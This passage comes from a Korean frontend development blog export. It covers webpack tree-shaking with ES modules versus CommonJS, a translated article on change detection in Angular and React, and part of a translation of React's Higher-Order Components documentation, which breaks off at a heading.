- `console.log`호출안에 있는 `add`함수를 인라인으로 처리

사용하지 않는 import 를 정리하는 것을 트리쉐이킹이라고 한다. 트리쉐이킹은 웹팩이 `utils.js`에서 import 하는 것과 어떤 것을 exports 하는 지를 빌드 타임에 정적으로 이해했기 때문에 (빌드 타임에) 가능했다.

이러한 기능은 ES Module이 CommonJS와 비교했을 때 더 정적으로 분석할 수 있었기 때문에 가능하다.

같은 예제를 CommonJS로 처리해보자.

```javascript
// utils.js
const {maxBy} = require('lodash-es')

const fns = {
  add: (a, b) => a + b,
  subtract: (a, b) => a - b,
  multiply: (a, b) => a * b,
  divide: (a, b) => a / b,
  max: (arr) => maxBy(arr),
}

Object.keys(fns).forEach((fnName) => (module.exports[fnName] = fns[fnName]))
```

빌드 시 파일크기가 너무 커지는 관계로, 아래 코드만 살펴보도록 하자.

```javascript
...
(() => {

"use strict";
/* harmony import */ var _utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(288);
const subtract = (a, b) => a - b;
console.log((0,_utils__WEBPACK_IMPORTED_MODULE_0__/* .add */ .IH)(1, 2));

})();
```

최종 번들에 `webpack`이라고 되어 있는, 번들 모듈에서 코드를 import/export 하는 일을 담당하는 코드가 삽입되어 있음을 볼 수 있다. 이번 빌드에서는, `utils.js`와 `index.js`안에 있는 심볼들을 모두 같은 네임스페이스 안에 두는 대신에, 코드 실행히에 다이나믹하게 `add`함수를 `__webpack_require__`로 불러오고 있음을 알 수 있다.

이 코드는 CommonJS가 export 명을 임의로 표현하기 때문에 필요하다. 예를 들어, 아래 코드는 완전히 유효한 구조다.

```javascript
module.exports[localStorage.getItem(Math.random())] = () => { … };
```

번들러가 빌드타임에 내보낸 심볼 명이 무엇인지 알수 있는 방법이 없다. 이는 오로지 사용자 브라우저 컨텍스트에서, 런타임시에만 사용할 수 있는 정보를 요구하기 때문이다.

> 고정되어 있는 심볼명을 사용하고 있지 않고, 이를 알아낼 수 있는 방법은 오로지 런타임 (브라우저를 실행하는 순간) 이라는 이야기 입니다.

이 때문에, minifier는 `index.js`에서 정확히 어떤 디펜던시를 가지고 있는지 이해하기 어렵기 때문에, 트리쉐이킹을 할 수 없다. 이러한 패턴을 다른 써드 파티 라이브러리 모듈에서도 찾아볼 수 있다. 만약 `node_modules`에서 CommonJs 모듈을 import 한다면, 빌드 툴 체인이 빌드를 최적화 하기가 어려워진다.

## CommonJS와 트리쉐이킹

CommonJS 모듈이 다이나믹 definition을 하기 때문에 이를 분석하는 것은 매우 어렵다. 그에 반해 ESModule은 항상 string module을 활용하여 import 하기 때문에 매우 명확하다.

만약 현재 사용하고 있는 라이브러리가 (`lodash` 같은 경우) CommonJS의 컨벤션을 따르는 경우, 웹팩의 써드 파티 라이브러리인 [Webpack Common Shake](https://github.com/indutny/webpack-common-shake)를 활용하여 사용하지 않는 export를 제거 할 수도 있다. 이 라이브러리가 트리 쉐이킹을 지원하지만, CommonJS에서 사용 가능한 모든 디펜던시를 커버하는 것은 아니다. 이 말인 즉슨, ES Modules 만큼은 보장되지 않는 다는 것이다. 추가로, `webpack`에서 빌드를 하는데 있어서 추가적인 비용이 지출된다.

## 결론

번들러가 애플리케이션 최적화를 진행하게 할 수 있도록, CommonJS 모듈을 사용하는 것을 피하고, 전체 애플리케이션에서 ECMAScript module syntax를 사용할 수 있도록 하자.

몇가지 팁을 더 추가한다.

- `Rollup.js`의 [node-resolve](https://github.com/rollup/plugins/tree/master/packages/node-resolve)플러그인을 사용하고 `modulesOnly` 플래그에오직 ECMAScript 모듈에만 의존하고 싶다고 명시하라.
- [is-esm](https://github.com/mgechev/is-esm)을 사용해서 사용하고 있는 npm 패키지가 ECMASCript 모듈인지 확인하자
- 앵귤러를 사용하고 있다면, 기본적으로 트리쉐이크가 불가능한 모듈에 대해서 경고를 띄운다.

---

Source: https://yceffort.kr/2020/07/change-detection-in-angular-react.md
Title: 프론트엔드 개발자가 알아야 하는 Angular와 React의 Change Detection
Description: [What every front-end developer should know about change detection in Angular and React](https://indepth.dev/what-every-front-end-developer-should-know-about-change-detection-in-angular-and-react/)를 번...
Date: 2020-07-04
Tags: frontend, react, angular

[What every front-end developer should know about change detection in Angular and React](https://indepth.dev/what-every-front-end-developer-should-know-about-change-detection-in-angular-and-react/)를 번역/요약한 것입니다.

## Table of Contents

요즘 거의 대부분의 웹 애플리케이션에서 Change Detection을 찾을 수 있다. 이는 인기있는 웹 프레임워크의 필수적인 부분이다. Data Grids나 stateful jquery 플러그인 등도 충분히 발전된 Change Detection를 가지고 있다. 그리고 아마도 대부분의 애플리케이션 코드 베이스에는 Change Detection가 존재할 가능성이 크다.

소프트웨어 설계에 관심있는 사람은 이 메커니즘을 잘 이해 해야 한다. DOM 업데이트와 같이 눈에 띄는 부분을 담당하기 때문에, Change Detection이 아키텍쳐의 가장 중요한 부분이라고 생각한다. 응용프로그램의 성능에 영향을 미치는 영역이기도 하다.

전반적인 Change Detection을 알아보는 것을 시작으로, 메커니즘을 구현해볼 것이다. 그리고 이것이 리액트와 앵귤러에서 어떻게 구현되는지 심층적으로 살펴볼 것이다.

## Change Detection 은 무엇인가?

> Change Detection은 애플리케이션 상태(state) 변경을 추적하고 이러한 업데이트된 상태를 화면에 렌더링 하도록 설계한 메커니즘이다. 이는 사용자 인터페이스가 항상 내부 상태와 동기화 되도록 한다.

이 정의에서 알 수 있듯, Change Detection이 `변경 추적` 과 `렌더링` 이라는 중요한 두부분을 가지고 있다는 것을 알 수 있다.

먼저 렌더링을 알아보자. 어떤 애플리케이션이든, 렌더링 프로세스는 프로그램 내부 상태를 파악하고, 화면에서 이를 볼 수 있도록 한다. 웹 개발에서 객체나 배열 같은 데이터 구조를 가지고 있고, 이를 이미지, 버튼, 등 기타 시각적인요소의 형태로 해당 데이터의 DOM을 표현하게 된다. 렌더링 로직구현이 사소한 것은 아니지만 - 꽤 간단한 형태를 취한다.

시간이 지남에 따라 변하는 데이터를 표시하기 시작하면 상황은 훨씬 더 정교함을 요구하게 된다. 오늘날의 웹 애플리케이션은 상호작용한다. 즉 애플리케이션의 상태는 사용자의 상호작용의 결과로 언제든지 변경 될 수 있다. 또는 서버에서 데이터를 가져와서 변경될 수도 있다.

상태 변화는, 이것을 감지해야 하며 이러한 변화를 반영해야 한다.

![](https://admin.indepth.dev/content/images/2019/11/image-10.png)

예제를 살펴보자.

## Rating Widget

별점 위젯을 만든다고 가정해보자. 대략 아래와 같은 모습을 취할 것이다.

![rating-widget](https://admin.indepth.dev/content/images/2020/01/1_4OWcFci2w7bTNpEDaZHoEQ.gif)

별점을 추적하기 위해, 현재의 값을 어딘가에 저장해두어야 한다. 아래와 같은 private `_rating` 프로퍼티로 현재 상태를 정의해 두자.

```javascript
export class RatingsComponent {
  constructor() {
    this._rating = 1
  }
}
```

위젯의 상태가 변화하게되면, 이를 화면에 반영해야 된다.

```html
<ul class="ratings">
  <li class="star solid"></li>
  <li class="star solid"></li>
  <li class="star solid"></li>
  <li class="star outline"></li>
  <li class="star outline"></li>
</ul>
```

### 초기화

먼저, 구현하는데 필요한 돔 노드를 만들어야 한다.

```javascript
export class RatingsComponent {
  // ...
  init(container) {
    this.list = document.createElement('ul')
    this.list.classList.add('ratings')
    this.list.addEventListener('click', (event) => {
      this.rating = event.target.dataset.value
    })

    this.elements = [1, 2, 3, 4, 5].map((value) => {
      const li = document.createElement('li')
      li.classList.add('star', 'outline')
      li.dataset.value = value
      this.list.appendChild(li)
      return li
    })

    container.appendChild(this.list)
  }
}
```

### Change Detection

별점에 변화가 있을 때 마다 이를 알아채야 한다. Change Detection의 기본적인 구현에서는, 자바스크립트에서 제공하는 [setter](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set)를 활용할 것이다. 따라서 별점을 위한 setter를 정의하고, 그 값이 변경될 때 마다 업데이트를 트리거 한다. DOM 업데이트는 목록 항목의 클래스를 변경하면서 수행한다.

```javascript
export class RatingsComponent {
  // ...
  set rating(v) {
    this._rating = v

    // triggers DOM update
    this.updateRatings()
  }

  get rating() {
    return this._rating
  }

  updateRatings() {
    this.elements.forEach((element, index) => {
      element.classList.toggle('solid', this.rating > index)
      element.classList.toggle('outline', this.rating <= index)
    })
  }
}
```

예제는 [여기](https://stackblitz.com/edit/js-aufmae)에서 찾아볼 수 다.

이렇게 매운 간단한 위젯을 구현하기 위해 작성해야 하는 코드의 양을 보자. 일부 시각적 요소를 표시하거나, 숨길 수 있는 목록, 조건부 로직 등 훨씬더 정교한 기능을 상상한다면, 코드의 양과 복잡성은 계속해서 증가할 것이다. 이상적인 상황이라면, 일반적인 개발에서 우리는 애플리케이션의 논리에 초점을 맞춰야 한다. 다른 누군가가 상태를 추적하고, 화면을 업데이트 하는 것을 맡기를 원한다. 그리고 이것이 프레임워크가 필요한 지점이다.

## 프레임워크

프레임워크에서 애플리케이션 내부 상태와 사용자 인터페이스 사이의 동기화를 관리한다. 이들은 우리의 부담을 줄여줬을 뿐 만 아니라, 상태 주적과 DOM 업데이트를 매우 효율적으로 처리한다.

다음은 리액트와 앵귤러에서 동일한 위젯을 구현하는 방법이다. UI와 관련한 사용자 관점에서, 템플릿은 컴포넌트 구성요소에서 매우 중요하다. 이러한 프레임워크에서 비슷한 방식으로 처리한 것은 매우 흥미롭다.

### Angular

```html
<ul class="rating" (click)="handleClick($event)">
  <li [className]="'star ' + (rating > 0 ? 'solid' : 'outline')"></li>
  <li [className]="'star ' + (rating > 1 ? 'solid' : 'outline')"></li>
  <li [className]="'star ' + (rating > 2 ? 'solid' : 'outline')"></li>
  <li [className]="'star ' + (rating > 3 ? 'solid' : 'outline')"></li>
  <li [className]="'star ' + (rating > 4 ? 'solid' : 'outline')"></li>
</ul>
```

### React

```html
<ul className="rating" onClick={handleClick}>
    <li className={'star ' + (rating > 0 ? 'solid' : 'outline')}></li>
    <li className={'star ' + (rating > 1 ? 'solid' : 'outline')}></li>
    <li className={'star ' + (rating > 2 ? 'solid' : 'outline')}></li>
    <li className={'star ' + (rating > 3 ? 'solid' : 'outline')}></li>
    <li className={'star ' + (rating > 4 ? 'solid' : 'outline')}></li>
</ul>
```

구문은 약간 다르다. DOM의 속성에 값을 사용한다는 아이디어는 동일하다. 위 템플릿에서, DOM 속성인 `className`이 컴포넌트의 속성값인 rating에 의존하고 있다고 볼 수 있다. 따라서 rating이 변할때 마다, 해당 expression등은 다시 계산된다. 만약 변화가 감지되면, className 속성 값이 바뀌는 것이다.

> click 이벤트 리스너는 앵귤러와 리액트에서 change detection의 일부가 아니다. 이들은 chagne detection을 트리거 할 지언정, 이러한 과정에서 포함되어 있지는 않다.

## Change Detection구현

DOM 요소의 속성에 값을 준다는 것은 기본적으로 두 프레임워크 모두 동일하지만, 기본적인 메커니즘에서 차이가 있다.

### Angular

컴파일러가 템플릿을 분석하면, DOM 요소와 관련된 property를 식별한다. 여기서 연결된 구성마다, 컴파일러는 일종의 명령의 형태로 바인딩을 만든다. 바인딩은 앵귤러에서 변화를 감지하는 핵심요소다. 컴포넌트의 속성과 DOM 요소 속성 사이에 연관관계를 정의한다.

이렇게 바인딩이 만들어지면, 앵귤러는 더 이상 템플릿과 함께 동작하지 않는다. 변경 감지 메커니즘은 바인딩을 처리하는 명령을 실행한다. 이러한 작업은 속성이 있는 표현식의 값이 변경되었는지 확인하고, 필요한 경우 DOM 업데이트를 수행한다.

본 예제에서는, `rating` 속성이 템플릿의 `className`에 바인딩된다.

`[className]="'star ' + ((ctx.rating > 0) ? 'solid' : 'outline')"`

템플릿의 이부분에 대해 컴파일러는 바인딩을 설정하고, 더티 체크를 수행하며 필요한 경우 DOM을 업데이트 한다.

```javascript
if (initialization) {
    elementStart(0, 'ul');
        ...
        elementStart(1, 'li', ...);

        // sets up the binding to the className property
        elementStyling();
        elementEnd();
        ...
    elementEnd();
}

if (changeDetection) {

    // checks if the value of the expression has changed
    // if so, marks the binding as dirty and update the value
    elementStylingMap(1, ('star ' + ((ctx.rating > 0) ? 'solid' : 'outline')));
    elementStylingApply(1);
    ...
}
```

> 위 코드는 `Ivy`라고 알려진 새로운 컴파일러의 결과물이다. 이전 버전의 앵귤러는 바인딩과 더티체크에 대해 같은 아이디어를 사용하긴 했지만, 구현이 약간 다르다.

예를 들어 앵귤러가 `className`을 위한 바인딩을 만들었고, 현재 그 값은 대충 이럴 것이다.

`{ dirty: false, value: 'outline' }`

별점이 변화하게 되면, 앵귤러는 변화감지를 실행하게 될 것이다. 먼저 계싼된 값의 결과를 받아서 바인딩에 의해 가지고 있는 이전 값과 비교한다. 여기에서 `dirty check`라는 말이 유래되었다. 값이 변경되었다면, 현재 값을 업데이트 하고 이 바인딩을 dirty로 표시한다.

`{ dirty: true, value: 'solid' }`

그 다음엔 바인딩 된 값이 dirty인지 확인된다음에, 만약 dirty라면 (true라면) 새로운 값으로 DOM을 업데이트 한다. 우리의 예제에서는 `className` 프로퍼티가 업데이트 될 것이다.

더티체크를 수행하고, DOM의 관련된 부분을 업데이트 하는 바인딩을 처리하는 것이 앵귤러의 Change Detection의 핵심 작업이다.

### React

앞서 얘기했던 것 처럼, 리액트는 전혀 다른 접근 법을 사용한다. 리액트는 바인딩을 사용하지 않는다. 리액트에서 가장 중요한 변경 감지 매커니즘은 가상 DOM 비교다.

모든 리액트의 컴포넌트들은 JSX 템플릿을 반환하는 렌더링을 구현한다.

```javascript
export class RatingComponent extends ReactComponent {
    ...
    render() {
        return (
            <ul className="rating" onClick={handleClick}>
                <li className={'star ' + (rating > 0 ? 'solid' : 'outline')}></li>
                ...
            </ul>
        )
    }
}
```

리액트에서, 템플릿은 `React.createElement` 함수를 호출해서 컴파일 된다.

```javascript
const el = React.createElement;

export class RatingComponent extends ReactComponent {
    ...
    render() {
        return el('ul', { className: 'ratings', onclick: handleClick}, [
                 el('li', { className: 'star ' + (rating > 0 ? 'solid' : 'outline') }),
                    ...
        ]);
    }
}
```

`React.createElement` 함수가 호출될 때마다, 가상 DOM 노드라고 하는 데이터 구조를 생성하게 된다. 전혀 새로울 것이 없는, HTML 요소를 표현하는 일반적인 자바스크립트 오브젝트다. 이게 여러번 호출되면, 가상 돔 트리를 만들게 된다. 결과적으로, render 메소드는 가상 돔트리를 만들어 낸다.

```javascript
export class RatingComponent extends ReactComponent {
   ...
   render() {
       return {
           tagName: 'UL',
           properties: {className: 'ratings'},
           children: [
               {tagName: 'LI', properties: {className: 'outline'}},
               ...
           ]
       }
   }
}
```

render 함수가 호출될 때마다, 컴포넌트에 있는 프로퍼티를 보게 된다. 가상 돔 노드 속성은 이러한 계산된 값을 포함하게 된다. 우리 예제에서 별점이 0이라고 가정해보자. 이는 아래와 같은 표현식을 갖게 된다.

`{ className: rating > 0 ? 'solid' : 'outline' }`

![](https://admin.indepth.dev/content/images/2019/11/image-12.png)

이 값은 가상 돔의 `className`에 사용되는 값이다. 이 가상 돔 트리에 기반하여, 리액트는 class 값을 포함하는 리스트 아이템을 생성하게 된다.

만약 값이 0에서 1로 바뀌었다면

`{ className: rating > 0 ? 'solid' : 'outline' }`

이 값은 이제 solid가 될 것이다. 리액트가 변화감지를 수행하면, render 함수를 호출하여 새로운 버전의 가상 돔 트리를 만들어 낸다. `className` 의 속성은 이제 `solid`값으로 변경되었다. **각 change detection이 호출될 때 마다 render function이 호출된다는 것은 굉장히 중요한 사실이다.** 이 말은, 함수가 호출될때마다, 완전히 다른 가상 돔트리를 리턴한다는 것이다.

![](https://admin.indepth.dev/content/images/2019/11/image-13.png)

이렇게 만들어진 두 가상 DOM에서 비교 알고리즘을 실행하여, 두 가상 DOM 사이의 변경사항 집합을 얻는다. 우리의 경우에는 `className`의 차이 일 것이다. 차이점이 발견되면, 알고리즘은 해당 DOM 노드를 수정하는 패치를 생성한다. 이경우 패치는 `className`속성을 새 가상 돔에서 solid라는 값으로 변경할 것이다. 그리고 업데이트 된 버전에서 가상 돔은 다음 변경 감지 주기 동안 비교 대상으로 사용될 것이다.

컴포넌트에서 새로운 가상 DOM 트리를 가져와 이전 버전의 트리와 비교하고, DOM의 관련된 부분을 업데이트 하기 위한 패치를 생성하고 업데이트를 수행하는 것이 리액트 Change Detection의 핵심 요소다.

## 언제 Change Detection이 실행되는가?

Change Detection에 대한 이해를 하기 위해서는, React의 렌더 함수 또는 Angular의 측정이 언제 호출되는지 알아야 한다.

생각해보면, 변화를 감지하는 방법엔 두가지가 있다. 먼저 프레임워크에 변화가 있거나 혹은 변화가 있을 수 있는 것들을 알려서, Change Detection을 실행해야 한다는 것을 알리는 것이다.

### React

리액트에서는 change detection을 수동으로 해야 한다. 그것은 바로 `setState`다.

```javascript
export class RatingComponent extends React.Component {
    ...
    handleClick(event) {
        this.setState({rating: Number(event.target.dataset.value)})
    };
}
```

리액트에서는 이를 자동으로 하는 방법이 없다. 모든 변경감지 사이클은 `setState`로 부터 시작된다.

### Angular

앵귤러에서는 두가지 옵션이 다 있다. changeDetector 서비스를 활용해서 수동으로 트리거할 수도 있다.

```javascript
class RatingWidget {
  constructor(changeDetector) {
    this.cd = changeDetector
  }

  handleClick(event) {
    this.rating = Number(event.target.dataset.value)
    this.cd.detectChanges()
  }
}
```

그러나, 프레임워크에서 자동으로 Chnage Detection을 하게 할 수 있다. 여기에서는, 단순히 property를 업데이트 해야 한다.

```javascript
class RatingWidget {
  handleClick(event) {
    this.rating = Number(event.target.dataset.value)
  }
}
```

하지만 앵귤러에서는 어떻게 change detection을 실행해야 한다는 것을 알까?

앵귤러가 제공하는 메커니즘을 활용하여, 템플릿의 UI 이벤트에 바인딩 하기 때문에 모든 UI 이벤트 리스너에 대해 알수 있다.이 이벤트 리스너를 가로챈다는 것은, 애플리케이션 코드 실행이 끝난후 변경 탐지 실행을 스케줄링할 수 있다는 것을 의미한다. 이것은 기발한 아이디어지만, 이 메커니즘으로 모든 비동기 이벤트를 가로챌수는 없다.

`setTimout`이나 `XHR` 과 같은 이벤트에 앵귤러 매커니즘을 바인딩 할 수 없으므로, Change Detection이 자동으로 이루어질 수 없다. 이러한 문제를 해결하기 위해 zone.js라는 라이브러리를 사용한다. 브라우저의 모든 비동기 이벤트를 패치한다음, 특정 이벤트가 발생할때 앵귤러에 알릴 수 있다. UI 이벤트와 마찬가지로, 앵귤러는 애플리케이션 의 실행이 완료될 때 까지 기다렸다가 자동으로 변경을 탐지할 수 있다.

---

Source: https://yceffort.kr/2020/07/react-higher-component.md
Title: 리액트 고차 컴포넌트 (React Higher Order Component)
Description: [이 글](https://ko.reactjs.org/docs/higher-order-components.html)이 한글로 번역이 안되있어서 대충 번역해봅니다. # Higher-Order Components  고차 컴포넌트 (이하 HOC)는 리액트에서 컴포넌트 로직을 재사용하기 위한 고오급 기술이다. HOC는 리액트 API의 일부분은 아니다. 이는 리액트...
Date: 2020-07-04
Tags: react

[이 글](https://ko.reactjs.org/docs/higher-order-components.html)이 한글로 번역이 안되있어서 대충 번역해봅니다.

# Higher-Order Components

고차 컴포넌트 (이하 HOC)는 리액트에서 컴포넌트 로직을 재사용하기 위한 고오급 기술이다. HOC는 리액트 API의 일부분은 아니다. 이는 리액트의 컴포넌트 환경에서 자주 나타나는 일종의 패턴이다.

구체적으로, **HOC는 컴포넌트를 받아 새로운 컴포넌트를 반환하는 함수다**

```javascript
const EnhancedComponent = higherOrderComponent(WrappedComponent)
```

컴포넌트의 props가 ui를 바꾼다면, HOC는 컴포넌트를 다른 컴포넌트로 바꿔버린다.

이러한 HOC는 리액트 써드 파티 라이브러리에서 자주사용되는 패턴으로, Redux의 `connect`와 `Relay`의 `createFragmentContainer`에서 볼 수 있다.

이 문서에서는 왜 HOC패턴이 유용한지, 그리고 어떻게 작성하는지 살펴본다.

## 공통적인 문제를 해결하기 위해 사용하는 HOC

컴포넌트는 리액트 내에서 코드를 재사용할 수 있는 가장 기본적인 유닛이다. 그러나, 일부 패턴은 이러한 전톡적인 컴포넌트로 해결할 수 없다는 것을 알게 된다.

예를 들어, 외부에서 데이터를 받아서 목록을 보여주는 `CommentList`라는 컴포넌트가 아래처럼 있다고 가정해보자.

```javascript
class CommentList extends React.Component {
  constructor(props) {
    super(props)
    this.handleChange = this.handleChange.bind(this)
    this.state = {
      // "DataSource" is some global data source
      comments: DataSource.getComments(),
    }
  }

  componentDidMount() {
    // Subscribe to changes
    DataSource.addChangeListener(this.handleChange)
  }

  componentWillUnmount() {
    // Clean up listener
    DataSource.removeChangeListener(this.handleChange)
  }

  handleChange() {
    // Update component state whenever the data source changes
    this.setState({
      comments: DataSource.getComments(),
    })
  }

  render() {
    return (
      <div>
        {this.state.comments.map((comment) => (
          <Comment comment={comment} key={comment.id} />
        ))}
      </div>
    )
  }
}
```

그리고 비슷한 패턴으로 블로그 포스트 하나를 보여주는 컴포넌트가 있다고 가정하자.

```javascript
class BlogPost extends React.Component {
  constructor(props) {
    super(props)
    this.handleChange = this.handleChange.bind(this)
    this.state = {
      blogPost: DataSource.getBlogPost(props.id),
    }
  }

  componentDidMount() {
    DataSource.addChangeListener(this.handleChange)
  }

  componentWillUnmount() {
    DataSource.removeChangeListener(this.handleChange)
  }

  handleChange() {
    this.setState({
      blogPost: DataSource.getBlogPost(this.props.id),
    })
  }

  render() {
    return <TextBlock text={this.state.blogPost} />
  }
}
```

`CommentList`와 `BlogPost`는 동일하지 않다. 이 두 컴포넌트는 서로 다른 메소드에서 `DataSource`를 참조하고 있으며, 서로 다른 결과물을 렌더링한다. 하지만 이들은 공통적으로 구현할 수 있는게 있다.

- mount 시점에, DataSource에 `changeListener`를 단다
- 리스너 내부에서 변경된 데이터에 따라 `setState`를 호출한다.
- unmount 시점에 해당 listener를 해제한다.

만약 이 앱의 크기가 커진다면, 이와 비슷한 패턴이 반복해서 나타날 것이다. 우리는 여기서 이러한 로직을 추상화하여 한 요소에 두고, 서로다른 컴포넌트에서 사용하게 할 수 있다. 이것이 바로 HOC 컴포넌트의 기본 개념이다.

우리는 `CommentList`나 `BlogPost`등의 컴포넌트를 만드는 함수를 만들어, 여기에 공통적으로 `DataSource`를 달아 줄 수 있다. 이 함수는 자식 함수 하나를 argument로 넘겨 받아서, 넘겨받은 데이터를 prop으로 넘길 수 있다. 이러한 함수를 `withSubscription`이라고 해보자.

```javascript
const CommentListWithSubscription = withSubscription(
  CommentList,
  (DataSource) => DataSource.getComments(),
)

const BlogPostWithSubscription = withSubscription(
  BlogPost,
  (DataSource, props) => DataSource.getBlogPost(props.id),
)
```

첫번째 파라미터는 컴포넌트고, 두번째 파라미터는 데이터를 받아올 `DataSource`다.

`CommentListWithSubscription`와 `BlogPostWithSubscription`가 렌더링되면, `CommentList`와 `BlogPost`는 `DataSource`로 부터 받은 데이터를 prop으로 넘기게 된다.

```javascript
// This function takes a component...
function withSubscription(WrappedComponent, selectData) {
  // ...and returns another component...
  return class extends React.Component {
    constructor(props) {
      super(props)
      this.handleChange = this.handleChange.bind(this)
      this.state = {
        data: selectData(DataSource, props),
      }
    }

    componentDidMount() {
      // ... that takes care of the subscription...
      DataSource.addChangeListener(this.handleChange)
    }

    componentWillUnmount() {
      DataSource.removeChangeListener(this.handleChange)
    }

    handleChange() {
      this.setState({
        data: selectData(DataSource, this.props),
      })
    }

    render() {
      // ... and renders the wrapped component with the fresh data!
      // Notice that we pass through any additional props
      return <WrappedComponent data={this.state.data} {...this.props} />
    }
  }
}
```

HOC는 파라미터로 넘어온 컴포넌트를 수정하지도, 복제하지도 않는 다는 것을 염두해 두어야 한다. 그 대신, HOC는 단순히 넘겨 받은 컴포넌트를 감싸는 역할을 하는 것이다. HOC는 순수 함수이며, 어떠한 부수효과도 만들지 않는다.

이게 끝이다. 감싸진 컴포넌트는 모든 props를 넘겨 받을 것이며, 새롭게 받은 prop, `data`를 바탕으로 결과물을 그릴 것이다. HOC는 이 데이터가 어떻게 왜 쓰이는지는 관여하지 않으며, 감싼 컴포넌트도 마찬가지로 이러한 데이터가 어디서 오는지 신경쓰지 않는다.

`withSubscription`은 단지 일반적인 함수이므로, 여기에 많은 arguments를 추가할 수 있다. 예를 들어, `data` prop를 설정가능하게 만들고 싶다면, 또다른 HOC를 만들어서 감쌀 수 있다. 또는 새로운 argument를 받아서 `shouldComponentUpdate`에서 수정할 수도 있다. 이는 모두 HOC가 컴포넌트가 어떻게 제어되는지 전체적으로 관리할 수 있기 때문에 가능하다.

컴포넌트와 마찬가지로, `withSubscription`와 감싸진 컴포넌트는 완전히 `prop`을 기반으로 움직인다. 이는 동일한 `prop`을 사용하는 다른 HOC로 교체하기 용이하게 만든다. 이는 데이터를 fetch하는 라이브러리 등을 바꿀때 유용하게 사용할 수 있다.

## 원본 컴포넌트를 바꾸지마라, 대신 Composition을 사용하라.

HOC 내부에서는 컴포넌트를 수정해서는 안된다.

```javascript
function logProps(InputComponent) {
  InputComponent.prototype.componentDidUpdate = function (prevProps) {
    console.log('Current props: ', this.props)
    console.log('Previous props: ', prevProps)
  }
  // The fact that we're returning the original input is a hint that it has
  // been mutated.
  return InputComponent
}

// EnhancedComponent will log whenever props are received
const EnhancedComponent = logProps(InputComponent)
```

위 코드에는 여러가지 문제가 있다. 그 중 하나는 `EnhancedComponent`로 부터 분리되어 `inputComponent`를 재사용할 수 없다는 것이다. 더 끔찍한 것은, 기존 컴포넌트의 `ComponentDidUpdate`도 엎어버린다는 것이다. 또한 이는 라이프 사이클 메소드가 없는 함수형 컴포넌트에서는 사용할 수가 없다.

컴포넌트를 변경하는 HOC는 추상화를 누출 시키는 것이다. 다른 HOC와의 충돌을 막기 위해서는, 어떻게 구현되는지 알아야 한다.

직접적으로 변경하는 대신에, HOC는 `InputComponent`를 감싸는 컨테이너 컴포넌트를 정의하여 합성을 해야 한다.

```javascript
function logProps(WrappedComponent) {
  return class extends React.Component {
    componentDidUpdate(prevProps) {
      console.log('Current props: ', this.props)
      console.log('Previous props: ', prevProps)
    }
    render() {
      // Wraps the input component in a container, without mutating it. Good!
      return <WrappedComponent {...this.props} />
    }
  }
}
```

이런식으로 작성한다면, 기능적으로도 완전히 동일하게 작동하며 잠재적인 충돌 이슈도 피할 수 있다.

이전에 살짝 언급했지만, HOC는 컨테이너 컴포넌트 패턴으로도 불리운다. 컨테이너 컴포넌트란 고차원과 저차원의 관심사를 분리하여 역할을 맡기는 일종의 전략이다. 컨테이너는 state와 데이터 변화를 감지하는 역할을 하고, UI를 렌더링하는 컴포넌트에 이러한 데이터를 넘기는 역할을 한다. HOC는 컨테이너를 일종의 implmentation으로 사용한다. HOC를 일종의 파라미터화 된 컴포넌트 정의로 생각할 수도 있다.

## 규칙: HOC와 관련이 없는 prop을 Wrapped Component에 넘겨라

HOC는 컴포넌트에 일종의 규칙을 더해준다. 따라서 극적인 변화를 가하지는 않는다. HOC에서 반환된 컴포넌트는 기존의 컴포넌트와 비슷한 인터페이스를 가지고 있으리라 예상한다.

HOC는 HOC에서 관여하지 않는 props 에 대해서는 바로 넘겨줘야 한다. 아래의 예제를 살펴보자.

```javascript
render() {
  // 그냥 컴포넌트에 넘길 prop을 분리한다.
  const { extraProp, ...passThroughProps } = this.props;

  // WrappedComponent에 넣을 props을 정의한다.
  const injectedProp = someStateOrInstanceMethod;

  // 이렇게 넘긴다.
  return (
    <WrappedComponent
      injectedProp={injectedProp}
      {...passThroughProps}
    />
  );
```

이러한 컨벤션은 HOC를 더욱 유연하고 재사용할 수 있게 해준다.

## 규칙: 결합성을 극대화 하라.

모든 HOC가 다 똒같은 생김새를 가지고 있는 것은 아니다. argument가 컴포넌트 단 하나인 경우도 있다.

```javascript
const NavbarWithRouter = withRouter(Navbar)
```

보통 HOC는 추가적인 arugment를 받는다. Relay를 예로 들면, 컴포넌트의 데이터 디펜던시를 명세한 config 오브젝트를 추가적으로 받는다.

```javascript
const CommentWithRelay = Relay.createContainer(Comment, config)
```

그러나 일반적인 HOC는 이렇게 생겼다.

```javascript
// React Redux's `connect`
const ConnectedComment = connect(commentSelector, commentActions)(CommentList)
```

생김새가 달라서 당황스럽지만, 나누면 이렇게 구성되어 있다.

```javascript
// connect is a function that returns another function
const enhance = connect(commentListSelector, commentListActions)
// The returned function is a HOC, which returns a component that is connected
// to the Redux store
const ConnectedComment = enhance(CommentList)
```

다시말해, `connect`는 HOC를 리턴하는 HOC인 것이다.

이러한 형태는 혼란스럽고 불필요해보일 수 있지만, 꽤 유용한 면도 가지고 있다. 단일 argument를 받는 connect 함수는 컴포넌트에서 컴포넌트를 반환하는 모양새를 띄고 있다. 출력과 입력이 동일한 함수는 합성하기 매우 편리하다.

```javascript
// 이렇게 하는 대신에..
const EnhancedComponent = withRouter(connect(commentSelector)(WrappedComponent))

// ... 함수를 합성하는 유틸리티를 사용할 수 있다.
// compose(f, g, h) is the same as (...args) => f(g(h(...args)))
const enhance = compose(
  // 여기는 모두 인자를 하나로 받는 HOC들이다.
  withRouter,
  connect(commentSelector),
)
const EnhancedComponent = enhance(WrappedComponent)
```

이러한 유틸리티 함수 `componse` 는 lodash, redux, ramda와 같은 다양한 써드파티 라이브러리에서 지원한다.

## 규칙: 감싼 컴포넌트에 이름을 부여하여 디버깅을 쉽게 하자.

HOC에 의해 생성된 컨테이너 컴포넌트는 React Developer Tool에서 다른 컴포넌트 처럼 보인다. 디버깅을 쉽게 하기 위해서는, 이러한 HOC 에 이름을 부여할 필요가 있다.

```javascript
function withSubscription(WrappedComponent) {
  class WithSubscription extends React.Component {
    /* ... */
  }
  WithSubscription.displayName = `WithSubscription(${getDisplayName(WrappedComponent)})`
  return WithSubscription
}

function getDisplayName(WrappedComponent) {
  return WrappedComponent.displayName || WrappedComponent.name || 'Component'
}
```

## 주의사항

HOC에는 리액트를 처음 접하는 사람의 경우 헷갈릴 수 있는 몇가지 주의사항이 있다.

### HOC를 렌더링 메소드 내부에서 사용하지 마라

